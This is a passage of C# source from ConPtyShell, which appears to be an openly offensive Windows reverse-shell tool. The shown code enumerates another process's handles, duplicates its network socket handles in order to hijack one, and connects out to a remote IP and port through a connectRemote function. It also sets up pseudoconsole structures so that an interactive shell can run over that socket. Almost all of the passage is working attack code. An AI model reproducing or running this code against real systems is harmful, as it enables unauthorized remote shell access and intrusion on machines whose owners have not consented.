ptrObjectTypesInformation = IntPtr.Zero; 539 | ptrObjectTypesInformation = NtQueryObjectDynamic(IntPtr.Zero, OBJECT_INFORMATION_CLASS.ObjectAllTypesInformation, 0); 540 | return ptrObjectTypesInformation; 541 | } 542 | 543 | // this from --> https://github.com/hfiref0x/UACME/blob/master/Source/Shared/ntos.h 544 | private static long AlignUp(long address, long align) 545 | { 546 | return (((address) + (align) - 1) & ~((align) - 1)); 547 | } 548 | 549 | // this works only from win8 and above. If you need a more generic solution you need to use the (i+2) "way" of counting index types. 550 | // credits for this goes to @0xrepnz 551 | // more information here --> https://twitter.com/splinter_code/status/1400873009121013765 552 | private static byte GetTypeIndexByName(string ObjectName) 553 | { 554 | byte TypeIndex = 0; 555 | long TypesCount = 0; 556 | IntPtr ptrTypesInfo = IntPtr.Zero; 557 | ptrTypesInfo = QueryObjectTypesInfo(); 558 | TypesCount = Marshal.ReadIntPtr(ptrTypesInfo).ToInt64(); 559 | // create a pointer to the first element address of OBJECT_TYPE_INFORMATION_V2 560 | IntPtr ptrTypesInfoCurrent = new IntPtr(ptrTypesInfo.ToInt64() + IntPtr.Size); 561 | for (int i = 0; i < TypesCount; i++) 562 | { 563 | OBJECT_TYPE_INFORMATION_V2 Type = (OBJECT_TYPE_INFORMATION_V2)Marshal.PtrToStructure(ptrTypesInfoCurrent, typeof(OBJECT_TYPE_INFORMATION_V2)); 564 | // move pointer to next the OBJECT_TYPE_INFORMATION_V2 object 565 | ptrTypesInfoCurrent = (IntPtr)(ptrTypesInfoCurrent.ToInt64() + AlignUp(Type.TypeName.MaximumLength, (long)IntPtr.Size) + Marshal.SizeOf(typeof(OBJECT_TYPE_INFORMATION_V2))); 566 | if (Type.TypeName.Length > 0 && Marshal.PtrToStringUni(Type.TypeName.Buffer, Type.TypeName.Length / 2) == ObjectName) 567 | { 568 | TypeIndex = Type.TypeIndex; 569 | break; 570 | } 571 | } 572 | Marshal.FreeHGlobal(ptrTypesInfo); 573 | return TypeIndex; 574 | } 575 | 576 | private static List DuplicateSocketsFromHandles(List sockets) 577 | { 578 | List dupedSocketsOut = new List(); 579 | if (sockets.Count < 1) return dupedSocketsOut; 580 | foreach (IntPtr sock in sockets) 581 | { 582 | IntPtr dupedSocket = DuplicateSocketFromHandle(sock); 583 | if (dupedSocket != IntPtr.Zero) dupedSocketsOut.Add(dupedSocket); 584 | } 585 | // cleaning all socket handles 586 | foreach (IntPtr sock in sockets) 587 | CloseHandle(sock); 588 | return dupedSocketsOut; 589 | } 590 | 591 | private static List FilterAndOrderSocketsByBytesIn(List sockets) 592 | { 593 | List socketsBytesIn = new List(); 594 | List socketsOut = new List(); 595 | foreach (IntPtr sock in sockets) 596 | { 597 | TCP_INFO_v0 sockInfo = new TCP_INFO_v0(); 598 | if (!GetSocketTcpInfo(sock, out sockInfo)) 599 | { 600 | closesocket(sock); 601 | continue; 602 | } 603 | // Console.WriteLine("debug: Socket handle 0x" + sock.ToString("X4") + " is in tcpstate " + sockInfo.State.ToString()); 604 | // we need only active sockets, the remaing sockets are filtered out 605 | if (sockInfo.State == TcpState.SynReceived || sockInfo.State == TcpState.Established) 606 | { 607 | SOCKET_BYTESIN sockBytesIn = new SOCKET_BYTESIN(); 608 | sockBytesIn.handle = sock; 609 | sockBytesIn.BytesIn = sockInfo.BytesIn; 610 | socketsBytesIn.Add(sockBytesIn); 611 | } 612 | else 613 | closesocket(sock); 614 | } 615 | if (socketsBytesIn.Count < 1) return socketsOut; 616 | if (socketsBytesIn.Count >= 2) 617 | // ordering for fewer bytes received by the sockets we have a higher chance to get the proper socket 618 | socketsBytesIn.Sort(delegate (SOCKET_BYTESIN a, SOCKET_BYTESIN b) { return (a.BytesIn.CompareTo(b.BytesIn)); }); 619 | foreach (SOCKET_BYTESIN sockBytesIn in socketsBytesIn) 620 | { 621 | socketsOut.Add(sockBytesIn.handle); 622 | // Console.WriteLine("debug: Socket handle 0x" + sockBytesIn.handle.ToString("X4") + " total bytes received: " + sockBytesIn.BytesIn.ToString()); 623 | } 624 | return socketsOut; 625 | } 626 | 627 | private static bool GetSocketTcpInfo(IntPtr socket, out TCP_INFO_v0 tcpInfoOut) 628 | { 629 | int result = -1; 630 | UInt32 tcpInfoVersion = 0; 631 | int bytesReturned = 0; 632 | int tcpInfoSize = Marshal.SizeOf(typeof(TCP_INFO_v0)); 633 | IntPtr tcpInfoPtr = Marshal.AllocHGlobal(tcpInfoSize); 634 | result = WSAIoctl1(socket, SIO_TCP_INFO, ref tcpInfoVersion, Marshal.SizeOf(tcpInfoVersion), tcpInfoPtr, tcpInfoSize, ref bytesReturned, IntPtr.Zero, IntPtr.Zero); 635 | if (result != 0) 636 | { 637 | // Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); 638 | tcpInfoOut = new TCP_INFO_v0(); 639 | return false; 640 | } 641 | TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0)); 642 | tcpInfoOut = tcpInfoV0; 643 | Marshal.FreeHGlobal(tcpInfoPtr); 644 | return true; 645 | } 646 | 647 | // this function take a raw handle to a \Device\Afd object as a parameter and returns a handle to a duplicated socket 648 | private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle) 649 | { 650 | IntPtr retSocket = IntPtr.Zero; 651 | IntPtr duplicatedSocket = IntPtr.Zero; 652 | WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); 653 | int status = WSADuplicateSocket(socketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); 654 | if (status == 0) 655 | { 656 | // we need an overlapped socket for the conpty process but we don't need to specify the WSA_FLAG_OVERLAPPED flag here because it will be ignored (and automatically set) by WSASocket() function if we set the WSAPROTOCOL_INFO structure and if the original socket has been created with the overlapped flag. 657 | duplicatedSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, 0); 658 | if (duplicatedSocket.ToInt64() > 0) 659 | { 660 | retSocket = duplicatedSocket; 661 | } 662 | } 663 | return retSocket; 664 | } 665 | 666 | //helper method with "dynamic" buffer allocation 667 | public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength) 668 | { 669 | if (infoLength == 0) 670 | infoLength = Marshal.SizeOf(typeof(int)); 671 | IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); 672 | uint result; 673 | while (true) 674 | { 675 | result = (uint)NtQueryObject(handle, infoClass, infoPtr, (uint)infoLength, ref infoLength); 676 | if (result == NTSTATUS_INFOLENGTHMISMATCH || result == NTSTATUS_BUFFEROVERFLOW || result == NTSTATUS_BUFFERTOOSMALL) 677 | { 678 | Marshal.FreeHGlobal(infoPtr); 679 | infoPtr = Marshal.AllocHGlobal((int)infoLength); 680 | continue; 681 | } 682 | else if (result == NTSTATUS_SUCCESS) 683 | break; 684 | else 685 | { 686 | //throw new Exception("Unhandled NtStatus " + result); 687 | break; 688 | } 689 | } 690 | if (result == NTSTATUS_SUCCESS) 691 | return infoPtr;//don't forget to free the pointer with Marshal.FreeHGlobal after you're done with it 692 | else 693 | Marshal.FreeHGlobal(infoPtr);//free pointer when not Successful 694 | return IntPtr.Zero; 695 | } 696 | 697 | public static List GetSocketsTargetProcess(Process targetProcess) 698 | { 699 | OBJECT_NAME_INFORMATION objNameInfo; 700 | long HandlesCount = 0; 701 | IntPtr dupHandle; 702 | IntPtr ptrObjectName; 703 | IntPtr ptrHandlesInfo; 704 | IntPtr hTargetProcess; 705 | string strObjectName; 706 | List socketsHandles = new List(); 707 | DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper(); 708 | hTargetProcess = OpenProcess(PROCESS_DUP_HANDLE, false, targetProcess.Id); 709 | if (hTargetProcess == IntPtr.Zero) 710 | { 711 | Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); 712 | return socketsHandles; 713 | } 714 | ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0); 715 | HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); 716 | // create a pointer at the beginning of the address of SYSTEM_HANDLE_TABLE_ENTRY_INFO[] 717 | IntPtr ptrHandlesInfoCurrent = new IntPtr(ptrHandlesInfo.ToInt64() + IntPtr.Size); 718 | // get TypeIndex for "File" objects, needed to filter only sockets objects 719 | byte TypeIndexFileObject = GetTypeIndexByName("File"); 720 | for (int i = 0; i < HandlesCount; i++) 721 | { 722 | SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandle; 723 | try 724 | { 725 | sysHandle = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(ptrHandlesInfoCurrent, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)); 726 | } 727 | catch 728 | { 729 | break; 730 | } 731 | //move pointer to next SYSTEM_HANDLE_TABLE_ENTRY_INFO 732 | ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))); 733 | if (sysHandle.UniqueProcessId != targetProcess.Id || sysHandle.ObjectTypeIndex != TypeIndexFileObject) 734 | continue; 735 | if (DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.HandleValue, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)) 736 | { 737 | if (deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)) 738 | { // this will avoids deadlocks on special named pipe handles 739 | // Console.WriteLine("debug: Deadlock detected"); 740 | CloseHandle(dupHandle); 741 | continue; 742 | } 743 | ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); 744 | if (ptrObjectName == IntPtr.Zero) 745 | { 746 | CloseHandle(dupHandle); 747 | continue; 748 | } 749 | try 750 | { 751 | objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); 752 | } 753 | catch 754 | { 755 | CloseHandle(dupHandle); 756 | continue; 757 | } 758 | if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0) 759 | { 760 | strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer, objNameInfo.Name.Length / 2); 761 | // Console.WriteLine("debug: file handle 0x" + dupHandle.ToString("X4") + " strObjectName = " + strObjectName); 762 | if (strObjectName == "\\Device\\Afd") 763 | socketsHandles.Add(dupHandle); 764 | else 765 | CloseHandle(dupHandle); 766 | } 767 | else 768 | CloseHandle(dupHandle); 769 | Marshal.FreeHGlobal(ptrObjectName); 770 | ptrObjectName = IntPtr.Zero; 771 | } 772 | } 773 | Marshal.FreeHGlobal(ptrHandlesInfo); 774 | List dupedSocketsHandles = DuplicateSocketsFromHandles(socketsHandles); 775 | if (dupedSocketsHandles.Count >= 1) 776 | dupedSocketsHandles = FilterAndOrderSocketsByBytesIn(dupedSocketsHandles); 777 | socketsHandles = dupedSocketsHandles; 778 | return socketsHandles; 779 | } 780 | 781 | public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) 782 | { 783 | bool inherited = false; 784 | List parentSocketsHandles = GetSocketsTargetProcess(parentProcess); 785 | if (parentSocketsHandles.Count < 1) 786 | return inherited; 787 | foreach (IntPtr parentSocketHandle in parentSocketsHandles) 788 | { 789 | SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN(); 790 | SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN(); 791 | int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess); 792 | int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess); 793 | if ( 794 | (getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) == 0) && 795 | (getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) == 0) && 796 | (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port) 797 | ) 798 | { 799 | // Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle.ToString("X4")); 800 | inherited = true; 801 | } 802 | closesocket(parentSocketHandle); 803 | } 804 | return inherited; 805 | } 806 | 807 | public static bool IsSocketOverlapped(IntPtr socket) 808 | { 809 | bool ret = false; 810 | IntPtr sockEvent = IntPtr.Zero; 811 | int ntStatus = -1; 812 | SOCKET_CONTEXT contextData = new SOCKET_CONTEXT(); 813 | ntStatus = NtCreateEvent(ref sockEvent, EVENT_ALL_ACCESS, IntPtr.Zero, SynchronizationEvent, false); 814 | if (ntStatus != NTSTATUS_SUCCESS) 815 | { 816 | // Console.WriteLine("debug: NtCreateEvent failed with error code 0x" + ntStatus.ToString("X8")); ; 817 | return ret; 818 | } 819 | IO_STATUS_BLOCK IOSB = new IO_STATUS_BLOCK(); 820 | ntStatus = NtDeviceIoControlFile1(socket, sockEvent, IntPtr.Zero, IntPtr.Zero, ref IOSB, IOCTL_AFD_GET_CONTEXT, IntPtr.Zero, 0, ref contextData, Marshal.SizeOf(contextData)); 821 | // Wait for Completion 822 | if (ntStatus == NTSTATUS_PENDING) 823 | { 824 | WaitForSingleObject(sockEvent, INFINITE); 825 | ntStatus = IOSB.status; 826 | } 827 | CloseHandle(sockEvent); 828 | 829 | if (ntStatus != NTSTATUS_SUCCESS) 830 | { 831 | // Console.WriteLine("debug: NtDeviceIoControlFile failed with error code 0x" + ntStatus.ToString("X8")); ; 832 | return ret; 833 | } 834 | if ((contextData.SharedData.CreationFlags & WSA_FLAG_OVERLAPPED) != 0) ret = true; 835 | return ret; 836 | } 837 | 838 | public static IntPtr DuplicateTargetProcessSocket(Process targetProcess, ref bool overlappedSocket) 839 | { 840 | IntPtr targetSocketHandle = IntPtr.Zero; 841 | List targetProcessSockets = GetSocketsTargetProcess(targetProcess); 842 | if (targetProcessSockets.Count < 1) return targetSocketHandle; 843 | else 844 | { 845 | foreach (IntPtr socketHandle in targetProcessSockets) 846 | { 847 | // we prioritize the hijacking of Overlapped sockets 848 | if (!IsSocketOverlapped(socketHandle)) 849 | { 850 | // Console.WriteLine("debug: Found a usable socket, but it has not been created with the flag WSA_FLAG_OVERLAPPED, skipping..."); 851 | continue; 852 | } 853 | targetSocketHandle = socketHandle; 854 | overlappedSocket = true; 855 | break; 856 | } 857 | // no Overlapped sockets found, expanding the scope by including also Non-Overlapped sockets 858 | if (targetSocketHandle == IntPtr.Zero) { 859 | // Console.WriteLine("debug: No overlapped sockets found. Trying to return also non-overlapped sockets..."); 860 | foreach (IntPtr socketHandle in targetProcessSockets) 861 | { 862 | targetSocketHandle = socketHandle; 863 | if (!IsSocketOverlapped(targetSocketHandle)) overlappedSocket = false; 864 | break; 865 | } 866 | } 867 | } 868 | if (targetSocketHandle == IntPtr.Zero) 869 | throw new ConPtyShellException("No sockets found, so no hijackable sockets :( Exiting..."); 870 | return targetSocketHandle; 871 | } 872 | public static void SetSocketBlockingMode(IntPtr socket, int mode) 873 | { 874 | int FIONBIO = -2147195266; 875 | int NonBlockingMode = 1; 876 | int BlockingMode = 0; 877 | int result; 878 | if (mode == 1) 879 | result = ioctlsocket(socket, FIONBIO, ref NonBlockingMode); 880 | else 881 | result = ioctlsocket(socket, FIONBIO, ref BlockingMode); 882 | if (result == -1) 883 | throw new ConPtyShellException("ioctlsocket failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); 884 | } 885 | } 886 | 887 | // source from --> https://stackoverflow.com/a/3346055 888 | [StructLayout(LayoutKind.Sequential)] 889 | public struct ParentProcessUtilities 890 | { 891 | // These members must match PROCESS_BASIC_INFORMATION 892 | internal IntPtr Reserved1; 893 | internal IntPtr PebBaseAddress; 894 | internal IntPtr Reserved2_0; 895 | internal IntPtr Reserved2_1; 896 | internal IntPtr UniqueProcessId; 897 | internal IntPtr InheritedFromUniqueProcessId; 898 | 899 | [DllImport("ntdll.dll")] 900 | private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength); 901 | 902 | public static Process GetParentProcess() 903 | { 904 | return GetParentProcess(Process.GetCurrentProcess().Handle); 905 | } 906 | 907 | public static Process GetParentProcess(int id) 908 | { 909 | Process process = Process.GetProcessById(id); 910 | return GetParentProcess(process.Handle); 911 | } 912 | 913 | public static Process GetParentProcess(IntPtr handle) 914 | { 915 | ParentProcessUtilities pbi = new ParentProcessUtilities(); 916 | int returnLength; 917 | int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); 918 | if (status != 0) 919 | throw new ConPtyShellException(status.ToString()); 920 | try 921 | { 922 | return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32()); 923 | } 924 | catch (ArgumentException) 925 | { 926 | // not found 927 | return null; 928 | } 929 | } 930 | } 931 | 932 | public static class ConPtyShell 933 | { 934 | private const string errorString = "{{{ConPtyShellException}}}\r\n"; 935 | private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004; 936 | private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008; 937 | private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016; 938 | private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; 939 | private const int STARTF_USESTDHANDLES = 0x00000100; 940 | private const int BUFFER_SIZE_PIPE = 1048576; 941 | private const int WSA_FLAG_OVERLAPPED = 0x1; 942 | private const UInt32 INFINITE = 0xFFFFFFFF; 943 | private const int SW_HIDE = 0; 944 | private const uint GENERIC_READ = 0x80000000; 945 | private const uint GENERIC_WRITE = 0x40000000; 946 | private const uint FILE_SHARE_READ = 0x00000001; 947 | private const uint FILE_SHARE_WRITE = 0x00000002; 948 | private const uint FILE_ATTRIBUTE_NORMAL = 0x80; 949 | private const uint OPEN_EXISTING = 3; 950 | private const int STD_INPUT_HANDLE = -10; 951 | private const int STD_OUTPUT_HANDLE = -11; 952 | private const int STD_ERROR_HANDLE = -12; 953 | private const int WSAEWOULDBLOCK = 10035; 954 | private const int FD_READ = (1 << 0); 955 | 956 | 957 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 958 | private struct STARTUPINFOEX 959 | { 960 | public STARTUPINFO StartupInfo; 961 | public IntPtr lpAttributeList; 962 | } 963 | 964 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 965 | private struct STARTUPINFO 966 | { 967 | public Int32 cb; 968 | public string lpReserved; 969 | public string lpDesktop; 970 | public string lpTitle; 971 | public Int32 dwX; 972 | public Int32 dwY; 973 | public Int32 dwXSize; 974 | public Int32 dwYSize; 975 | public Int32 dwXCountChars; 976 | public Int32 dwYCountChars; 977 | public Int32 dwFillAttribute; 978 | public Int32 dwFlags; 979 | public Int16 wShowWindow; 980 | public Int16 cbReserved2; 981 | public IntPtr lpReserved2; 982 | public IntPtr hStdInput; 983 | public IntPtr hStdOutput; 984 | public IntPtr hStdError; 985 | } 986 | 987 | [StructLayout(LayoutKind.Sequential)] 988 | private struct PROCESS_INFORMATION 989 | { 990 | public IntPtr hProcess; 991 | public IntPtr hThread; 992 | public int dwProcessId; 993 | public int dwThreadId; 994 | } 995 | 996 | [StructLayout(LayoutKind.Sequential)] 997 | private struct SECURITY_ATTRIBUTES 998 | { 999 | public int nLength; 1000 | public IntPtr lpSecurityDescriptor; 1001 | public int bInheritHandle; 1002 | } 1003 | 1004 | [StructLayout(LayoutKind.Sequential)] 1005 | private struct COORD 1006 | { 1007 | public short X; 1008 | public short Y; 1009 | } 1010 | 1011 | [StructLayout(LayoutKind.Sequential)] 1012 | private struct WSAData 1013 | { 1014 | public short wVersion; 1015 | public short wHighVersion; 1016 | public short iMaxSockets; 1017 | public short iMaxUdpDg; 1018 | public IntPtr lpVendorInfo; 1019 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] 1020 | public string szDescription; 1021 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] 1022 | public string szSystemStatus; 1023 | } 1024 | 1025 | [StructLayout(LayoutKind.Sequential)] 1026 | private struct SOCKADDR_IN 1027 | { 1028 | public short sin_family; 1029 | public short sin_port; 1030 | public uint sin_addr; 1031 | public long sin_zero; 1032 | } 1033 | 1034 | [DllImport("kernel32.dll", SetLastError = true)] 1035 | [return: MarshalAs(UnmanagedType.Bool)] 1036 | private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); 1037 | 1038 | [DllImport("kernel32.dll", SetLastError = true)] 1039 | [return: MarshalAs(UnmanagedType.Bool)] 1040 | private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); 1041 | 1042 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] 1043 | [return: MarshalAs(UnmanagedType.Bool)] 1044 | private static extern bool CreateProcessEx(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 1045 | 1046 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] 1047 | private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 1048 | 1049 | [DllImport("kernel32.dll", SetLastError = true)] 1050 | [return: MarshalAs(UnmanagedType.Bool)] 1051 | private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); 1052 | 1053 | [DllImport("kernel32.dll", SetLastError = true)] 1054 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 1055 | 1056 | [DllImport("kernel32.dll", SetLastError = true)] 1057 | private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle); 1058 | 1059 | [DllImport("kernel32.dll", SetLastError = true)] 1060 | private static extern IntPtr GetStdHandle(int nStdHandle); 1061 | 1062 | [DllImport("kernel32.dll", SetLastError = true)] 1063 | private static extern bool CloseHandle(IntPtr hObject); 1064 | 1065 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1066 | private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); 1067 | 1068 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] 1069 | private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); 1070 | 1071 | [DllImport("kernel32.dll", SetLastError = true)] 1072 | private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); 1073 | 1074 | [DllImport("kernel32.dll", SetLastError = true)] 1075 | private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped); 1076 | 1077 | [DllImport("kernel32.dll", SetLastError = true)] 1078 | private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC); 1079 | 1080 | [DllImport("kernel32.dll", SetLastError = true)] 1081 | private static extern int ClosePseudoConsole(IntPtr hPC); 1082 | 1083 | [DllImport("kernel32.dll", SetLastError = true)] 1084 | private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode); 1085 | 1086 | [DllImport("kernel32.dll", SetLastError = true)] 1087 | private static extern bool GetConsoleMode(IntPtr handle, out uint mode); 1088 | 1089 | [DllImport("kernel32.dll")] 1090 | [return: MarshalAs(UnmanagedType.Bool)] 1091 | private static extern bool AllocConsole(); 1092 | 1093 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 1094 | private static extern bool FreeConsole(); 1095 | 1096 | [DllImport("user32.dll")] 1097 | private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 1098 | 1099 | [DllImport("kernel32.dll")] 1100 | private static extern IntPtr GetConsoleWindow(); 1101 | 1102 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 1103 | private static extern IntPtr GetModuleHandle(string lpModuleName); 1104 | 1105 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 1106 | private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 1107 | 1108 | [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] 1109 | private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); 1110 | 1111 | [DllImport("ws2_32.dll", SetLastError = true)] 1112 | private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize); 1113 | 1114 | [DllImport("ws2_32.dll", SetLastError = true)] 1115 | private static extern ushort htons(ushort hostshort); 1116 | 1117 | [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] 1118 | private static extern uint inet_addr(string cp); 1119 | 1120 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] 1121 | private static extern Int32 WSAGetLastError(); 1122 | 1123 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1124 | private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); 1125 | 1126 | [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 1127 | private static extern int closesocket(IntPtr s); 1128 | 1129 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1130 | private static extern int recv(IntPtr Socket, byte[] buf, int len, uint flags); 1131 | 1132 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1133 | private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags); 1134 | 1135 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1136 | private static extern IntPtr WSACreateEvent(); 1137 | 1138 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1139 | private static extern int WSAEventSelect(IntPtr s, IntPtr hEventObject, int lNetworkEvents); 1140 | 1141 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1142 | private static extern int WSAWaitForMultipleEvents(int cEvents, IntPtr[] lphEvents, bool fWaitAll, int dwTimeout, bool fAlertable); 1143 | 1144 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1145 | private static extern bool WSAResetEvent(IntPtr hEvent); 1146 | 1147 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1148 | private static extern bool WSACloseEvent(IntPtr hEvent); 1149 | 1150 | [DllImport("ntdll.dll")] 1151 | private static extern uint NtSuspendProcess(IntPtr processHandle); 1152 | 1153 | [DllImport("ntdll.dll")] 1154 | private static extern uint NtResumeProcess(IntPtr processHandle); 1155 | 1156 | private static void InitWSAThread() 1157 | { 1158 | WSAData data; 1159 | if (WSAStartup(2 << 8 | 2, out data) != 0) 1160 | throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); 1161 | } 1162 | 1163 | private static IntPtr connectRemote(string remoteIp, int remotePort) 1164 | { 1165 | int port = 0; 1166 | int error = 0; 1167 | string host = remoteIp; 1168 | 1169 | try 1170 | { 1171 | port = Convert.ToInt32(remotePort); 1172 | } 1173 | catch 1174 | { 1175 | throw new ConPtyShellException("Specified port is invalid: " + remotePort.ToString()); 1176 | } 1177 | 1178 | IntPtr socket = IntPtr.Zero; 1179 | socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, WSA_FLAG_OVERLAPPED); 1180 | SOCKADDR_IN sockinfo = new SOCKADDR_IN(); 1181 | sockinfo.sin_family = (short)2; 1182 | sockinfo.sin_addr = inet_addr(host); 1183 | sockinfo.sin_port = (short)htons((ushort)port); 1184 | 1185 | if (connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0) 1186 | { 1187 | error = WSAGetLastError(); 1188 | throw new ConPtyShellException(String.Format("WSAConnect failed with error code: {0}", error)); 1189 | } 1190 | 1191 | return socket; 1192 | } 1193 | 1194 | private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols) 1195 | { 1196 | Thread.Sleep(500);//little tweak for slower connections 1197 | byte[] received = new byte[100]; 1198 | int rowsTemp, colsTemp; 1199 | int bytesReceived = recv(shellSocket, received, 100, 0); 1200 | try 1201 | { 1202 | string sizeReceived = Encoding.ASCII.GetString(received, 0, bytesReceived); 1203 | string rowsString = sizeReceived.Split(' ')[0].Trim(); 1204 | string colsString = sizeReceived.Split(' ')[1].Trim(); 1205 | if (Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)) 1206 